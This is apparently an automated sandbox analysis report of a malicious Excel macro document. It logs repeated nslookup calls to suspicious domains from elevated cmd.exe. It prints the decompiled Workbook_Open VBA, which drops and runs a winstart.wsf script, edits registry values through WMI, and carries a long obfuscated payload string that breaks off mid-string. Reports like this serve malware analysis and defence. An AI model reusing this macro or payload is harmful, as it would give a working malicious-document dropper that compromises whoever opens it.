Commandline:	nslookup a1.airobotheworld.com
Imagebase:	0x7ff6805b0000
File size:	89'600 bytes
MD5 hash:	F2E3950C1023ACF80765C918791999C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:50:45
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c nslookup a1.aigoingtokill.club>>C:\Windows\TEMP\~cmdscript.tmp
Imagebase:	0x7ff707bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:50:45
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:50:45
Start date:	09/12/2024
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
Commandline:	nslookup a1.aigoingtokill.club
Imagebase:	0x7ff6805b0000
File size:	89'600 bytes
MD5 hash:	F2E3950C1023ACF80765C918791999C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:50:46
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Imagebase:	0x7ff707bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:50:46
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	00:50:46
Start date:	09/12/2024
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
Commandline:	nslookup a1.6cs6.club
Imagebase:	0x7ff6805b0000
File size:	89'600 bytes
MD5 hash:	F2E3950C1023ACF80765C918791999C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	00:50:48
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Imagebase:	0x7ff707bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7580, Parent PID: 1392

General

Target ID:	47
Start time:	00:50:48
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	00:50:48
Start date:	09/12/2024
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
Commandline:	nslookup a1.6cs6.club
Imagebase:	0x7ff6805b0000
File size:	89'600 bytes
MD5 hash:	F2E3950C1023ACF80765C918791999C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	00:50:49
Start date:	09/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c nslookup a1.6cs6.club>>C:\Windows\TEMP\~cmdscript.tmp
Imagebase:	0x7ff707bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 2016, Parent PID: 1728

General

Target ID:	50
Start time:	00:50:49
Start date:	09/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	00:50:50
Start date:	09/12/2024
Path:	C:\Windows\System32\nslookup.exe
Wow64 process (32bit):	false
Commandline:	nslookup a1.6cs6.club
Imagebase:	0x7ff6805b0000
File size:	89'600 bytes
MD5 hash:	F2E3950C1023ACF80765C918791999C0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Executed Functions

Subroutine
Workbook_OpenAPIs: 20, Strings: 14, Number of lines: 149, Relevance: 80.149

APIs	Meta Information
Environ	Environ("TEMP") -> C:\Users\totti\AppData\Local\Temp
ChDrive
ChDir
Open	Open("C:\Users\totti\AppData\Local\Temp\TMP.TMP")
Open	Open("C:\Users\totti\AppData\Local\Temp\winstart.wsf")
Part of subcall function wmiserv@ThisWorkbook: GetObject
Part of subcall function wmiserv@ThisWorkbook: Replace
Part of subcall function wmiserv@ThisWorkbook: Replace
GetObject	GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
GetStringValue
HKEY_LOCAL_MACHINE
strValue
strValue
SetStringValue
HKEY_LOCAL_MACHINE
Month
Now
Day
Shell	Shell("wscript.exe //B "C:\Users\totti\AppData\Local\Temp\winstart.wsf"") -> 7928
Chr

Strings	Decrypted Strings
"TEMP"
"C"
"?PNG<job id=""cSJXhQP""><script language=""VBScript"" src=""TMP.TMP"">eval(""ex""&""ecut""&""e(cSJXhQPeXe)=1"")</Script></job>"
"winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv"
"SOFTWARE\Microsoft\rknrl"
"wspr"
""""
"E"
"SOFTWARE\Microsoft\rknrl"
"wspr"
"E"
"SOFTWARE\Microsoft\rknrl"
"wspr"
"wscript.exe //B ""

Line	Instruction	Meta Information
9	Private Sub Workbook_Open()
10	On Error Resume Next	executed
11	Dim gPath as String, str as String
12	str = str & "yM = """
13	str = str & "MWblMS\|00V83h\|5RXlNq\|pP5WqQ\|swyX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAei8\|7l7gIv\|MWblMS\|QpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkMg\|Av564A\|i8xl3n\|qYKgAz\|760Qsw\|Ed7RTs\|31yYKg\|Az760S\|V2ipks\|4Wi6T0\|5HAcVn\|bF76iX\|6WXYKG\|Lv5H0Q\|ZsLjKg\|tY5GXJ\|kRLv5H\|0pNqpT\|3SLT5l\|XJMShj\|Kgt05H\|AcV6TX\|bfbLiS\|UQZS40\|iPbY3w\|FX6U7l\|7gIvMW\|blMS4A\|igP6kP\|X05glJ\|kgXYKG\|Lv5H0c\|ijxBZS\|ipkN8p\|kqJkbw\|xz3qJk\|bHfJ5w\|A23gf2\|iNJQyu\|iYiWA8\|oRbFfN\|lPwfQI\|uGp8fJ\|fDbNfX\|fIqEs1\|p8qHhv\|5WIYfJ\|bsXWIn\|bjPtsP\|pRfJhE\|uGpnwW\|bosPpR\|OPhEXP\|Tym87h\|fNlWqW\|XpdHA8\|qJA15W\|fYKH7w\|7gAimw\|3DbgIZ\|OlbIq1\|pKZdJS\|kqJkbw\|EUi8lW\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySLu31\|Tt3wEv\|k6UX6U\|Aei8f2\|MWA2iP\|TlMGft\|3sLo31\|hJNqp8\|KwJQfH\|IpVgI0\|MWAjNq\|pd31qQ\|fHIpZu\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|Jk5d8Q\|ZsLdMg\|xp76QS\|OgI2Kw\|7BOgI2\|KwMtyw\|IU9Rht\|MWlnVw\|EHKwbp\|y1xF51\|Tp32Ie\|5GbcM2\|JzmnxF\|51Tp32\|Ie5Gbc\|MGxF51\|Tp32Ih\|5wqt5W\|AJ5RXB\|5wle31\|Tny1bl\|VwXcK1\|xF51it\|MGbhK2\|icin0S\|kqJkbW\|A2i8fh\|yHQQKs\|LT5SLt\|mqJkuH\|fJigI0\|MWAjZf\|7tKsEl\|OgfjM1\|flMnUY\|"
14	str = str & "inXl5g\|fj764a\|ig325H\|JQ7Hle\|mzT9MR\|TvyHfz\|M2LGKg\|f23sLe\|ywIlZs\|MSTWUW\|iSElOg\|uniSUX\|6U3vMS\|LPywXY\|igJQsw\|FQ51L2\|5HmX6W\|Je7gf2\|5wley1\|blk6UX\|6UElOR\|qX6UEl\|ORqX6U\|fe36Ld\|7wiX6U\|3I5WXJ\|KwAeig\|XYKG7z\|MRiYkq\|JkdHFQ\|b1T25G\|iQuWfz\|7wIli8\|ElORqX\|6WXYKG\|7zMRiQ\|Zs4Sw6\|iX6Ubp\|5sL15w\|Ucdwfe\|52xX3w\|EvqsxX\|3wEvdQ\|JkuHfJ\|iP7tKd\|IR31bZ\|yWplyG\|qYin7p\|5WIn51\|bzolxM\|Vlx25H\|AJ1gXp\|51y2iS\|UX6lXl\|76LtMR\|TvyzI1\|5wUe31\|hlyGPI\|31TEk6\|Tz3wxl\|yGqQkS\|LWMWAt\|iR7p5j\|m21GL2\|5HXlMG\|mSkqJk\|bWA2i8\|fhyHQQ\|MRTvi8\|leigI0\|MWAjNq\|pT3SLm\|qHPz3s\|h0MWBe\|5WPt3s\|UQZs4S\|51ltKw\|ElMSEl\|OguSiP\|bY3wFQ\|yHhr7G\|X0MS4A\|i6TXiS\|LP5WqQ\|swyX6U\|lWi8xN\|y1XlkR\|L252Ee\|ywIlks\|4Ai6Tt\|OwIp5W\|f2ysEl\|OguSiP\|bY3wFQ\|yHhr7G\|X0MS4A\|igXYKG\|7zMRiW\|iU8Si8\|fe36LT\|3QJksw\|yQd8Xh\|MHuYMR\|TvVWEh\|5wupiN\|JQiWIE\|5wle31\|TeVWfF\|3siQfg\|hl5QJk\|yHhr7G\|X0MS4A\|igXYKG\|7zMRiW\|iUFSNq\|pPOglJ\|i83vMQ\|JkbwEU\|i8lWNq\|po31hJ\|NqpP5W\|qQbnfe\|yGbp5H\|FX6lXI\|ySL0MW\|fZ3W3p\|yHuQkg\|PU3RTY\|5GXJkq\|JkMRTl\|bgAG5S\|4SdWA2\|5wPcVW\|bvy2ic\|KwEz7g\|Pc5gbp\|MS0SMW\|teMW0e\|f8Iqms\|iciWFS\|"
15	str = str & "VNqX6n\|L23ubv\|7HFQiU\|Tv5Hce\|OgxziS\|xp5nXJ\|ywxc3g\|l2V6T2\|KHE256\|Eudf42\|iS0S5S\|icXqJk\|bwEUiP\|XIyQJk\|bnfeyG\|bp5HFQ\|MRTlbg\|AG5ShW\|KwxldW\|Pt3sxz\|y13lug\|PJK6xz\|y13ldW\|Pt3sxl\|OgfjVg\|UpNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74Jk71\|TciNJQ\|dgfW76\|hY5GXJ\|V6LT5l\|XJMlTl\|7ShY5G\|XJV6iv\|iSUpi6\|yQ3Wlc\|3uEh5w\|uX6Wbv\|7HEc5H\|PUiRf2\|56xzy1\|3lugPJ\|K6xzy1\|3ldWPt\|3sxlOg\|fjNqpT\|3SLo5G\|qQbnXv\|VU3p5g\|fPOglz\|7RmYMH\|PH3fLh\|7gQQTS\|Lzy13l\|dWPt3s\|UQfghl\|5QJkuW\|Av7RTl\|M24Aig\|XYKGTv\|5GqX6n\|f2564A\|iPX05g\|lJi6hs\|5HAJMW\|fzV6iB\|9NFSks\|hpkqJk\|5WfJiN\|JQuGLc\|K1qQkR\|f2560S\|96ipkN\|8pNqpU\|5G7e5g\|Ah36Le\|31qcMH\|PH3fLh\|7gQcMH\|PH3uEh\|5wuc31\|hly0Jk\|bwEUi8\|lWNqpT\|3SLo5G\|qQbnXv\|VU3p5g\|fPOglz\|7RmYMH\|PH3fLh\|7gQQTS\|Lzy13l\|dWPt3s\|UQfghl\|5QJkMR\|TlbgAG\|5S4Ai8\|3h5RXl\|NqpP5R\|XlNqp0\|MWf85G\|7eiNJQ\|fRTI3q\|JkbwEU\|i8lWNq\|pP5WqQ\|bnfeyG\|bp5HFX\|6U3I5W\|XJKwAe\|i87l78\|lqk6UX\|6UAei8\|f2MWA2\|iPTlMG\|ft3sLo\|31hJNq\|p8KwJQ\|5HTaf2\|xj5HxL\|Nqpd31\|qQ5HTa\|f24Ai8\|7l78AS\|KWfj76\|QS7Hle\|5w7t7R\|mD1P0e\|1RTv5G\|bMyHlt\|7jiSkq\|JkuHfJ\|igXv58\|8QZsLv\|yWp1VU\|fF3wXb\|"
16	str = str & "7wf2Os\|QSuJfm\|buXui6\|YQblTZ\|dsL1Kw\|FzmlAo\|31bG5G\|Trqwbh\|MRblMU\|Xv5W3p\|3Gf2y1\|bp5HFQ\|fJhPuU\|uQsfLP\|5WPS5g\|fUiNJQ\|fRTI3s\|ipNqpT\|3SLj5H\|xLVUlJ\|3wIT5W\|blO6Q0\|ksEXqu\|XL3gb2\|31XzkN\|4piN0+\|i6iSiP\|bY3wFX\|6WxvyH\|PcdwPj\|iNJQuW\|f05gPj\|3shj5H\|xLVUlJ\|3wIT5W\|blO6Q0\|ksEXqu\|XL3gb2\|31XzkN\|4pV6iD\|iS0SiS\|UX6Ufe\|36LT3Q\|JkbHfJ\|sf4QZs\|Lj5HxL\|VUlJ3w\|IT5Wbl\|O6Q0ks\|ETu8PU\|3RTlMG\|mYm6UX\|6Ufe36\|Lg7wEj\|7glv5Q\|Jkbnfe\|yGbp5H\|FQqwbU\|bWl23f\|7h5g0Y\|5WPt3s\|x05GTJ\|VRXJy1\|blVR7l\|yUP0M6\|UX6UAe\|i8f2MW\|A2iPTl\|MGft3s\|Lo31hJ\|Nqpd31\|qQ5HTa\|bWl231\|7h5g0Q\|ZsLNMW\|fh7gfZ\|yWplyG\|qYiUho\|31bN3W\|Mebn7X\|3GiSkq\|JkuHfJ\|igASKl\|Lv5glj\|Os4Aig\|ASKU3p\|MWfGyw\|xcVUxv\|yHPcug\|AcKwXE\|VUXIMn\|Tl5nbq\|MWAWKw\|xlNqpd\|31qQ5H\|TaugA2\|764Ai8\|X23wPJ\|3uASKW\|fj76QS\|s8El78\|XW32Eg\|7JA03w\|Eq5GTJ\|iSUX6W\|ASKlLv\|Mnqeug\|A2764A\|iRLvMn\|qX6WAS\|KlLvMn\|qedWPt\|3s4Aig\|Eh5wuX\|6WASKl\|LvMnqe\|bwEhyW\|xl364A\|iRXJy1\|blNqpd\|31qQyH\|AcugA2\|7RmQZs\|LvyWpq\|5HxpyG\|UebHxv\|yWPc5R\|lZMgfe\|ugA27R\|mX6WXv\|5PLvMn\|bzVUPU\|36hvyW\|pq5GTJ\|kqJkuH\|fJigAS\|KUP0M6\|4Ai8X2\|3wPJ3u\|ASKWfj\|"
17	str = str & "76QSs8\|El78XW\|32Eg7J\|PI7ghv\|MWlD3w\|bLMRLc\|KwXh7g\|lv5Sip\|NqpvyW\|pLMR4e\|dWPt3s\|4Ai6TX\|Of7lyU\|P0M6iX\|6WASKU\|P0M6ET\|uP3lMn\|Xp5HFQ\|Zs42Nq\|pvyWpL\|MR4euR\|TvyHfz\|MJltyw\|7lbWlc\|3uEh5w\|uQZsLG\|3wTLMR\|4X6WAS\|KUP0M6\|Es3wIv\|7gfL3g\|b231Xz\|31mQZs\|4SkSiX\|6WASKU\|P0M6Ed\|yHA03s\|4AiN4X\|6WASKU\|P0M6EP\|5WPS5g\|fUiNJQ\|fRTI3q\|JkuHfJ\|igXv58\|P0M64A\|igASKl\|Lv5glj\|OsEL71\|bY5GTp\|OWfUq1\|L05glj\|y1bp5H\|EzNqpj\|5HxLMR\|4eqwbU\|kgASKU\|P0M6UX\|6Ufe36\|Lg7wEj\|7glv5Q\|Jkbnfe\|yGbp5H\|FQqwbU\|ugf25w\|lzMHlv\|5Shz7R\|TfMHf2\|VRXJMl\|Lh7gQc\|MGb2qw\|Xj31Xz\|VgTcsw\|EY31Tp\|76UX6l\|Xl76Lv\|yWp1du\|ld31TH\|KwXliN\|JQbHfJ\|dHTa3w\|XJk6TG\|KwEt3H\|IJMzpM\|16EMMW\|Av7PxN\|KwIHmS\|ipNqpd\|31qQ3n\|XviNJQ\|qGTly1\|bldHTa\|3wXJk6\|TdyGTp\|MRbp5W\|MebWlc\|3fXEMG\|bl5uAS\|KWfj76\|ipNqpd\|31qQyH\|Acf1Xl\|MnmQZs\|LvyWp1\|duld31\|THKwXl\|VUfF3w\|Xb7wf2\|OsQSuJ\|fmbuXu\|i6YQbl\|TZdsL1\|KwFzml\|ALyHXv\|7wEJiP\|7ibfTP\|i8Eh5w\|uAT2iW\|MGb2f1\|XlMSyS\|T2ipNq\|pT3SLj\|5HxfMH\|f2M2Ej\|5Gfe7N\|0+m6Lu\|KgfeNq\|pg5GiQ\|bwPjK6\|LvyWpf\|MHf2i8\|leigXv\|5Pfz31\|TzNqpz\|7RTdsu\|qQZsLv\|yWpfMH\|f2VlXT\|b4JkdW\|fF74Jk\|"
18	str = str & "bwxz3q\|JkqwbU\|ugf25w\|lzMHlv\|5S4AiN\|8X6UfF\|K1qQbn\|feyGbp\|5HFX6U\|fe36LT\|3QJkuH\|fJigAS\|KlXTb6\|4AigAS\|Kl7Xsf\|XlMn3p\|yHuebH\|fJk6T1\|KwFzml\|Adsuqe\|uJl8Zs\|MSTnXJ\|MlXTb6\|yST2ip\|Nqp0y1\|bYfRl0\|3s4Ai6\|iSNqpT\|3SLWMH\|Be3Wlc\|3ufFK1\|XJM2hz\|7RTqy1\|bYksLu\|KgfeiR\|Lh7ghu\|O1LliN\|JQiU3T\|d8uSNq\|pT3SLW\|MHBe3W\|Ac3gf2\|b1hpMG\|bzkRXJ\|MlLh7g\|QpiPbY\|3wFQMg\|PJKPbE\|MguQZs\|4SbUAm\|b8fsiQ\|JkswyQ\|MgPJKP\|bEMguQ\|Zs4SiS\|LuKgfe\|NqpL3g\|bq31Tt\|K1XzKw\|AeiNJQ\|mQJkb1\|hp76Lg\|7wEj7g\|lv5QJk\|bwEUi8\|lWNqpd\|31qQ5H\|TafRTI\|MGbl3s\|4AigAS\|Kl7Xsf\|XlMn3p\|yHuebH\|fJk6T1\|KwFzml\|AuMnfz\|7gfliS\|UeuGLh\|7HET5n\|XJywEj\|3fBYkq\|Jk5HTa\|fRTIMG\|bl3sE8\|5HIhKw\|FQZsLv\|yWpdsu\|qeuWfW\|31Tl5W\|Xl38bv\|5wPp5U\|Eh5wuX\|6WASKl\|b271XJ\|3wuedW\|Pt3s4A\|igASKl\|XTb6EL\|yHXv7w\|EJdWPt\|3qJk5H\|TafRTI\|MGbl3s\|EdsuqQ\|ZsLvyW\|pdsuqe\|qWley1\|TEuWf0\|MWfz3w\|EJy1bp\|5HFX6W\|ASKlb2\|71XJ3w\|ueuHlU\|dgfe3G\|bYiNJQ\|5HTauJ\|l8VlXp\|38xl5W\|7JK4Jk\|5HTafR\|TIMGbl\|3sEdsu\|bd7RTp\|5WMQZs\|LvyWpd\|suqeuH\|lUNqpd\|31qQ5H\|TadWfG\|quXPiN\|JQ5HTa\|fJITuH\|f27Wlj\|3sER31\|qYil7p\|5jm21J\|PNbsip\|VlX0y1\|7eswEz\|"
19	str = str & "7gPeyH\|f9k6UX\|6WASKU\|El7JPN\|bsEuMn\|fz7gfl\|iNJQ5H\|TafRTI\|MGbl3q\|Jk5HTa\|dWfGqu\|XPVUPj\|3fbEMg\|uQZs40\|NqpT3S\|LT5lXJ\|MShfqH\|Pz3shz\|7RTLyH\|XlMGmp\|V6TsiS\|UQZS40\|iPbY3w\|FQ5HTa\|dWfGqu\|XPVUPj\|yHfzMJ\|IhMHcQ\|Zs4xmd\|MEoN8G\|NqpT3S\|LT5lXJ\|MShfqH\|Pz3shz\|7RTLyH\|XlMGmp\|V6TNiS\|UQZS40\|iPbY3w\|FQ5HTa\|dWfGqu\|XPVUPj\|yHfzMJ\|IhMHcQ\|Zs4xmj\|qIXjmx\|NqpT3S\|LT5lXJ\|MShfqH\|Pz3shz\|7RTLyH\|XlMGmp\|V6TgiS\|UQZS40\|iPbY3w\|FQ5HTa\|dWfGqu\|XPVUPj\|yHfzMJ\|IhMHcQ\|Zs42mN\|m2mdiG\|NqpT3S\|L0y1bY\|fRl03s\|4Ai6Tg\|suxPiS\|LL5WqQ\|yWxT5W\|hlMWlJ\|iNJQfR\|TI3sLu\|Kgfeig\|ASKUEl\|7JPNbs\|ELyHfg\|5gPnM2\|4AiN8H\|NqpT3S\|L0y1bY\|fRl03s\|4Ai6Tg\|suxPiS\|LL5WqQ\|yWxT5W\|hlMWlJ\|iNJQbW\|PcMHuQ\|fghl5S\|LvyWpo\|317LqJ\|ueqwXl\|bWxh3G\|mQZs40\|NqpT3S\|L0y1bY\|fRl03s\|4Ai6Tg\|dJx8bf\|iSi8Pe\|36LS58\|leKgf2\|K1qQZs\|LuMnfl\|iPbY3w\|FQ5HTa\|dWfGqu\|XPVUPj\|3u3cyw\|7ziNJQ\|mdUX6U\|lWiRLh\|7ghuO1\|LliNJQ\|iU3Zd8\|bPuSiQ\|qwEUig\|TcswEY\|31Tp76\|4Ai83h\|5RXliP\|bY3wFQ\|5HTadW\|fGquXP\|VUPj3u\|3cyw7z\|iNJQm0\|JkuHfJ\|igASKU\|3p5gfd\|3wXd31\|bJKwEn\|iNJQ5H\|TafJIT\|uHf27W\|lj3sER\|31qYil\|7p5jm2\|1Jxv3H\|ljywxg\|"
20	str = str & "KwxluH\|fj71Tp\|7Rld31\|bJKwEn\|VlLh7g\|QAT2iW\|MGb2ug\|PJK6yS\|T2ipNq\|pNywxc\|igASKU\|3p5gfd\|3wXd31\|bJKwEn\|VU7l7P\|XlyGf2\|K1bEbg\|fzyGTp\|MRbvMS\|hvyWpd\|b6UX6W\|TcuJf9\|b8PNdP\|ALffbZ\|1Jlos8\|fssfbP\|b64AiP\|b27wuX\|6UlWi6\|hvyWpd\|b6EN5H\|EJMWAc\|bWxh3G\|mQqwEU\|i63iXN\|40ks4A\|iN4Qfg\|hl5QJk\|yWxdbf\|A8quXm\|1JPff8\|A9suEi\|bfTTf8\|f8iNJQ\|bWPcMH\|uX6WAS\|KlX8VU\|Xv5nb2\|5Hxg5g\|PnM24A\|i6hvyW\|pdb6EN\|5HEJMW\|AcbWxh\|3GmQdG\|iQTUQJ\|mN4pNq\|pP5WqQ\|swyX6U\|lWigTc\|swEY31\|Tp764A\|iPb27w\|uQfghl\|5QJk5H\|TauJqe\|qHAe7R\|Tv583c\|yw7ziN\|JQkgAS\|KlX8VU\|Xv5nb2\|5Hxg5g\|PnM2LL\|5WqQTU\|hPbU3g\|kqJkbw\|xz3qJk\|5HTauJ\|qeqHAe\|7RTv58\|3cyw7z\|iNJQkg\|ASKlX8\|VUXv5n\|b25Hxg\|5gPnM2\|LZMS4W\|sN8JmN\|4pi4Jk\|bwEUi8\|lWNqpv\|yWpZ5g\|b8ywXc\|iNJQ5H\|TauJqe\|bgPj54\|JkuWf8\|KwJQ5H\|TadWfG\|bgPj56\|Q0kqJk\|uHfJig\|ASKUEl\|7JbhyH\|0Ym6UQ\|ZsLvyW\|po317L\|qJuX6W\|ASKlX8\|VUbhyH\|0QZsLv\|yWpo31\|78ywXc\|NqpNyw\|xcigAS\|KU3p5g\|fd3wXd\|31bJKw\|EnVlXl\|7PXlyG\|f2K1bE\|bgfzyG\|TpMRbv\|MShvyW\|pdb6UX\|6UPU3P\|LlMWIp\|MGXp5H\|FQZs40\|Nqpd31\|qQ3nXv\|iNJQdW\|AJKgle\|30Jkbw\|EUi83I\|5WXJKw\|AeNqpd\|7wiQ71\|Lz7gP2\|"
21	str = str & "74JkdH\|FQb1T2\|5GiQuW\|fz7wIl\|i8ElOR\|qX6Ubp\|5sLGMW\|yX6nXY\|3wxc5H\|TaVnTl\|3G72K1\|bli6Ti\|sJf31J\|XfulTP\|dlb9ff\|XPulxz\|5H3J7H\|P23fxt\|KwX25G\|Xv3nbM\|7Hle3g\|AGMIxj\|71T23w\|EJ7Wf2\|MHlv5l\|x27wEM\|7HleiS\|0Qin7z\|yGTpMR\|qe31hl\|i6BvqS\|4Si6yQ\|qHh2f2\|QzX6UQ\|TSLp5n\|XJywxc\|3gl2i6\|yQKwEz\|7gPc5g\|Eh5wuQ\|TSLNKR\|T1kNmJ\|ks4ci6\|Tsbu79\|uIYSNq\|pzKgfc\|5gASKS\|E23w7G\|MWlJ3s\|4Ss8tP\|wfAmdJ\|XLdPAX\|quXisu\|EP1RXv\|3nbGy1\|Tl1gIp\|yGTvMH\|AW7PxG\|KwEU5G\|7z1gXI\|MnTl5n\|bH31Tz\|KwAe1R\|TI5lxG\|KwFSV6\|4S7GXj\|MWl076\|ElOguQ\|V2A6i6\|iQTSLN\|KRT1kN\|mJks4W\|igleMG\|bh5gxU\|K1iQTS\|Lp5nXJ\|ywxc5W\|Pt3s4W\|i8XYMl\|MYmzqp\|i60Qil\|TPbIAd\|wSiX6n\|bF764A\|i6iBKW\|ASZjxv\|yWplyG\|qQKwqA\|iSTGiS\|iQMRTv\|3HlUZs\|iSfIXj\|MWl076\|EdKgfc\|56iSi6\|B+ZRXj\|MWl076\|LcywEn\|7wPn3d\|JSil36\|uHX2K1\|LJiSi+\|72E27w\|FQiSTG\|MHX2K1\|LJVWfF\|3s4vVJ\|iQiSiW\|qHh2kN\|mJks3G\|VWfFMg\|Pe3gfe\|7Wl25H\|Et3wEJ\|MGb2Kw\|EnM2QS\|iSfubu\|IqTsiS\|ksySil\|xGKwEz\|7gP276\|EGMHyS\|iS3NKR\|iYmzqp\|onMeMn\|fei6iS\|7GXjMW\|l076El\|OguQV2\|A6i6iS\|TUXYMS\|QzX6UW\|72ElOR\|Lh5Wbl\|5n3pMW\|Ae5wfe\|7RXJMW\|le3GmY\|iSils8\|AXbubs\|"
22	str = str & "sf3PTs\|iSksyS\|ilxh71\|bv31hl\|y2EGMH\|ySiS3N\|KRiYmz\|qponMe\|Mnfei6\|iS7GXj\|MWl076\|ElOguQ\|V2A6i6\|iSTUXY\|MSQzX6\|UW72El\|ORLh5W\|bl5n3p\|MWAe5w\|fe7RXJ\|MWle3G\|mYiSil\|s8AXbs\|uSiSUW\|iSTM7H\|leMGbh\|Mnqe7G\|XWiSiW\|qHh2kN\|mJkd0v\|MHX2K1\|LJZj0v\|KWASZS\|iX6lXl\|76LGMW\|yQZsLg\|MHBeqG\|Tly1bl\|fgfF78\|3p5guY\|MGbhMn\|bIM6yS\|7HleVn\|7z3Sic\|fRTI3s\|xgywxz\|3sUX6n\|723SEG\|MWlJ3s\|LJORqX\|6n723S\|EN5gAz\|3qJkKw\|Ez7gPc\|5RXlMn\|yX6nXj\|KgfU7w\|xlNqpP\|5WqQuG\|fSNqpg\|7wEj7g\|lv5SLz\|yHhl3R\|fc3sQp\|NqpZ5S\|LPMnTv\|MSLs31\|XI5wuQ\|dWfF74\|JkMHhl\|5gxvyW\|Yeunfe\|i6TzyH\|hJy1Xr\|M24vqG\|Tly1bl\|i6Adq